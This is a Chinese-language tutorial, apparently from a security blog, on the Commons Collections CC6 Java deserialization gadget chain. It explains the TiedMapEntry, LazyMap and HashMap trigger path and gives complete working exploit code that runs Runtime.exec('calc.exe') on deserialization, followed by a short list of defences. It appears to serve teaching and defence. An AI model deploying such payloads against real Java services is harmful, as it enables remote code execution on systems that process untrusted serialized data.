不删除"key"的CC6反序列化
字数 1495 2025-08-10 23:41:50
CC6反序列化漏洞利用详解
一、CC6链概述
CC6是Commons Collections反序列化利用链的一个增强版本,能够在高版本Java中使用。它基于CC1链,但替换了CC1中使用的AnnotationInvocationHandler类,转而利用HashMap类作为反序列化的触发点。
二、核心利用类分析
1. TiedMapEntry类
TiedMapEntry类是CC6链的核心,包含两个关键方法:
getValue()方法
public Object getValue() {
return map.get(key);
}
- 通过
map.get(key)调用,可以触发后续的利用链 map字段将指向我们构造的LazyMapkey字段是我们控制的参数
hashCode()方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
- 调用
getValue()方法,间接触发map.get(key) - 这是整个利用链的触发点
2. LazyMap类
LazyMap与CC1中相同,通过其get()方法触发Transformer链:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = factory.transform(key);
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
factory是我们构造的ChainedTransformer- 当key不存在时,会调用
transform()方法
3. HashMap类
HashMap在反序列化时会调用hash()方法计算键的哈希值:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
- 当key是
TiedMapEntry对象时,会调用其hashCode()方法 - 这是整个利用链的入口点
三、利用链构造
1. Transformer链构造
与CC1相同的Transformer数组构造:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
2. LazyMap构造
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
3. TiedMapEntry构造
为了避免在put时立即触发payload,先使用普通HashMap:
TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");
4. HashMap构造并添加entry
HashMap hashMap = new HashMap();
hashMap.put(entry, "sakut2");
5. 反射修改map字段
将TiedMapEntry中的map字段替换为恶意的lazyMap:
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, lazyMap);
四、完整利用代码
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 构造LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 构造TiedMapEntry(初始使用普通HashMap避免立即触发)
TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");
// 将entry放入HashMap
HashMap hashMap = new HashMap();
hashMap.put(entry, "sakut2");
// 反射修改TiedMapEntry的map字段为恶意的lazyMap
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, lazyMap);
// 序列化和反序列化触发
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
ois.readObject();
}
五、利用链调用流程
HashMap.readObject()反序列化时调用hash()方法hash()方法调用键的hashCode()方法(我们的键是TiedMapEntry)TiedMapEntry.hashCode()调用getValue()TiedMapEntry.getValue()调用map.get(key)(map已被我们替换为LazyMap)LazyMap.get()调用factory.transform(key)(factory是我们的ChainedTransformer)ChainedTransformer.transform()依次执行我们构造的命令
六、关键技巧
- 延迟触发技巧:初始使用普通HashMap构造
TiedMapEntry,避免在put时立即触发payload - 反射修改字段:通过反射在put后将
map字段替换为恶意的LazyMap - 不删除key:与某些CC链不同,这里不需要删除key,直接利用
LazyMap.get()的机制
七、防御措施
- 升级Commons Collections库到安全版本
- 使用Java反序列化过滤器(JEP 290)
- 避免反序列化不可信数据
- 使用白名单机制控制可反序列化的类
八、总结
CC6链通过HashMap反序列化触发TiedMapEntry.hashCode(),进而调用LazyMap.get()执行恶意Transformer链。相比CC1,它不依赖AnnotationInvocationHandler,适用于更高版本的Java环境。通过反射技巧延迟触发payload是其关键创新点。